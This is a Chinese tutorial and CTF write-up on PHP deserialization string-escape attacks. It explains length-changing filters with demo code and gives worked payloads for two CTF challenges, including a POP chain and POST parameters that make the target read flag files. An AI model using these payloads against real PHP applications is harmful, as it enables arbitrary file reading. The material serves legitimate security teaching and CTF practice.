基础讲解
反序列化字符串逃逸是PHP反序列化中常见的一个类型,首先看php序列化与反序列化的几个特性:
PHP在反序列化时,对类中不存在的属性也会进行反序列化;
PHP在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),根据长度判断内容;
PHP在反序列化时,会严格按照序列化规则才能成功实现反序列化。
字符串逃逸的实质是闭合,分为两种:字符变多、字符变少,导致字符变多、变少的原因是利用了不正确的过滤或者其他操作。
正常情形
先看一个正常序列化与反序列化的例子:
<?php
$username = 'xixi';
$password = 'test1';
$user = array($username, $password);
$vv = serialize($user);
var_dump($vv);
echo "\r\n";
var_dump(unserialize($vv));
?>
例子中我们对数组进行序列化与反序列化
字符变多
此时如果我们构造一个过滤函数,在进行反序列化之前进行过滤有关字符:
<?php
function filter($string){
$filter = '/x/i';
return preg_replace($filter,'yy',$string);
}
$username = 'xixi';
$password = 'test1';
$user = array($username, $password);
$vv = serialize($user);
var_dump($vv);
echo "\r\n";
$vv = filter($vv);
var_dump($vv);
echo "\r\n";
var_dump(unserialize($vv));
?>
可以看到我们构造了一个filter()函数,在进行反序列化之前我们用filter()函数进行处理:
可见经过filter()函数处理,x
字符替换为yy
导致序列化的字符串变多,从而在反序列化的时候出错。
原因是经过filter函数处理后字符变多,字符串存在一个x,处理后就会多出一个字符,导致长度错误反序列化失败。
这正是我们攻击的利用点,假如username的值是我们可控的,现在通过构造恶意payload控制password的值。
要想让password成功反序列化构造的字符串为:";i:1;s:5:"test2";}
做法就是通过username输入 n个x+";i:1;s:5:"test2";}
,因为我们的payload长度为19,所以n为19,即19个x:
xxxxxxxxxxxxxxxxxxx";i:1;s:5:"test2";}
<?php
function filter($string){
$filter = '/x/i';
return preg_replace($filter,'yy',$string);
}
$username = 'xxxxxxxxxxxxxxxxxxx";i:1;s:5:"test2";}';
$password = 'test1';
$user = array($username, $password);
$vv = serialize($user);
var_dump($vv);
echo "\r\n";
$vv = filter($vv);
var_dump($vv);
echo "\r\n";
var_dump(unserialize($vv));
?>
可见可以顺利反序列化,并且password的值我们可控,变为了test2。
总结:
先看过滤函数,找出字符变多还是字符变少,并且计算变化个数
多出一个字符,构造过滤字符的个数为构造的payload的长度
多出n个字符,构造过滤字符的个数为构造的payload的长度/n
字符变少
现在我们改一下过滤函数,造成过滤后字符变少:
<?php
function filter($string){
$filter = '/yy/i';
return preg_replace($filter,'x',$string);
}
$username = 'yyiyyi';
$password = 'test1';
$user = array($username, $password);
$vv = serialize($user);
var_dump($vv);
echo "\r\n";
$vv = filter($vv);
var_dump($vv);
echo "\r\n";
var_dump(unserialize($vv));
?>
可见经过过滤yy
变为x
,导致序列化后的字符串长度减少了2,以至于反序列化失败。
这时候要想控制password的值需要构造username和password,username构造过滤字符,password处构造逃逸字符。
如果我们控制password=test2
,正常反序列化后为:;i:1;s:5:"test2";}
,这正是需要逃逸的字符,需要传入password,同时前边插入任意字符+双引号用来闭合双引号序列化之后:
a:2:{i:0;s:22:"xxxxxxxxxxx";i:1;s:20:"1";i:1;s:5:"test2";}";}
通过观察可见要想正常反序列化导致恶意password值逃逸,就需要长度为";i:1;s:20:"1
的长度,即长度为13,前边我们知道一个yy减少一个字符,要想包含进来就需要存在13个yy,这样会让构造的password逃逸:
<?php
function filter($string){
$filter = '/yy/i';
return preg_replace($filter,'x',$string);
}
$username = 'yyyyyyyyyyyyyyyyyyyyyyyyyy1';
$password = '1";i:1;s:5:"test2";}';
$user = array($username, $password);
$vv = serialize($user);
var_dump($vv);
echo "\r\n";
$vv = filter($vv);
var_dump($vv);
echo "\r\n";
var_dump(unserialize($vv));
?>
可见password值已经可控,变为test2。
总结:
先看过滤函数,找出字符变多还是字符变少,并且计算变化个数
第一步先构造想要的值正常序列化,拿到最终的逃逸字符
第二步逃逸字符前任意字符+双引号闭合,传入要控制的值
第三步序列化看下需要逃逸的部分长度,传入对应的过滤字符
通过以上分析不难发现字符串逃逸的重点就在于过滤函数的错误使用被我们恶意利用,下面通过几道题目加深理解。
实例一
From 2019安洵杯-easy_serialize_php
题目直接给了源码:
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
看到$serialize_info = filter(serialize($_SESSION));
果断想到反序列化字符串逃逸,先看一下过滤函数:
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
会将字符替换为空,典型的字符变少的例子。梳理下题目思路:利用点在file_get_contents(base64_decode($userinfo['img']));
但是我们跟踪$userinfo['img']
可以发现并不是我们可控的,因为$_SESSION['img']
赋值是在最后变得,我们可利用变量覆盖,但是不能给$_SESSION['img']
直接赋值,这时候就需要用到字符串逃逸。
已知我们要读的文件为:d0g3_f1ag.php
base64加密:ZDBnM19mMWFnLnBocA==
正常进行序列化的过程:
我们的逃逸字符就是;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
任意字符 + ";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
其中user
和function
是我们可以通过变量覆盖控制的:
以上是初步构造结果,发现标红处字符串长度不对,继续构造即可:
结合序列化格式发现标红部分需要构造为4的倍数:
";s:8:"function";s:41:" //此时为23
因此只需要让"前的任意字符为1位即可
这样一共24位,就需要6个flag
最终构造如下:
序列化后得到:
a:3:{s:4:"user";s:24:"";s:8:"function";s:42:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
因此需要在img后构造一部分:
a:3:{s:4:"user";s:24:"";s:8:"function";s:42:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"b";}
最终:
get:f=show_image
post:_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"b";}
base64编码后发现长度一样,直接修改即可:
实例二
From 2021医疗行业CTF-medical
题目直接给了源码,是一个小型MVC结构
利用点在Service
:
会对post数据进行序列化,然后反序列化,并且反序列化之前存在一个替换操作
然后会进入 View
:
存在echo字符串的操作,由此可触发__toString
:全局搜索
会调用不存在的属性的值,会触发__get
:全局搜索
利用链:
user_view -> echo -> Request.__toString -> Index.__get -> file_get_contents(/flag)
poc:
<?php
class Index{
}
class Request{
public $hhhhh;
}
$tmp = new Index();
$poc = new Request();
$poc->hhhhh=$tmp;
echo serialize($poc);
O:7:"Request":1:{s:5:"hhhhh";O:5:"Index":0:{}}
然后就是找反序列化的点,关键点:
过程是先进行一次反序列化,通过santi
函数验证post数据不能存在单引号,然后替换为大写S ,然后再反序列化。
表示字符类型的s大写时,会被当成16进制解析
意思就是当s变为S 时,原来\00有三位,变为一位,导致字符变少
本地搭建搭建环境输出,方便构造:
可以看到我们要想成功反序列化,需要字符串逃逸,需要继续构造Location:
前边需要加 ;s:8:"Location";
后表加}
闭合大括号
Location=;s:8:"Location";O:7:"Request":1:{s:5:"hhhhh";O:5:"Index":0:{}}}
需要把如图的字符去掉,这时候就用到了 S 16进制解析进行字符串逃逸,要去掉的部分为:
";s:8:"Location";s:63: //22位
因为1个\00 减少2位,所以需要11个\00
a=\00\00\00\00\00\00\00\00\00\00\00&Location=;s:8:"Location";O:7:"Request":1:{s:5:"hhhhh";O:5:"Index":0:{}}}